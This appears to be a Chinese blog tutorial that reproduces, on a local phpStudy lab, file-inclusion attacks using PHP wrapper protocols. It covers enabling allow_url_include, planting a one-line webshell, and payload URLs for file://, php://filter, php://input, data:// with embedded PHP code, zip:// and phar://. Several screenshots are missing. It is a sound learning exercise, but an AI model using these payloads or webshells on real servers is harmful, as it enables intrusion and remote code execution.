文件包含PHP伪协议利用方法 本地复现

环境配置

步骤一:更改参数
php.ini ⾥有两个重要的参数 allow_url_fopen 、allow_url_include


步骤二:创建123.php文件输入一句话木马

步骤三:创建1.php

less-1 file://协议

123.php?cmd=file://D:\phpstudy_pro\WWW\1.php

less-2 php://filter协议


base解码

less-3 php://input协议

123.php?cmd=php://input利用burp抓包

更改传参方式

更改参数进行放包

less-4 data://

123.php?cmd=data:text/plain,<?php phpinfo();?>

less-5 zip://

创建2.txt文件进行压缩

123.php?cmd=zip://D:\phpstudy_pro\WWW\2.zip%232.txt

less-6 phar://

123.php?cmd=phar://D:\phpstudy_pro\WWW\2.zip\2.txt

相关推荐
怀旧,11 分钟前
【C语言】C语言经典小游戏:贪吃蛇(下)
c语言·开发语言·数据结构
余厌厌厌1 小时前
Golang学习之旅
开发语言·学习·golang
Code_流苏1 小时前
Python趣学篇:用Pygame打造绚烂流星雨动画
开发语言·python·pygame·图形编程·粒子系统·流星雨特效
clock的时钟1 小时前
c++面向对象第4天---拷贝构造函数与深复制
开发语言·c++
t198751281 小时前
Java连接Redis和基础操作命令
java·开发语言·redis
秋名RG1 小时前
深入理解享元模式:用Java实现高效对象共享
java·开发语言·享元模式
蜗牛的旷野1 小时前
华为OD机试_2025 B卷_小华地图寻宝(Python,100分)(附详细解题思路)
开发语言·python·华为od
勤奋的小王同学~1 小时前
(javaSE)Java数组进阶:数组初始化 数组访问 数组中的jvm 空指针异常
开发语言·python
小白本无忧1 小时前
PHP 垃圾回收高级特性
android·java·php
一刀到底2112 小时前
java 微服务中,微服务相互调用 feign 和flux 如何选择
java·开发语言·微服务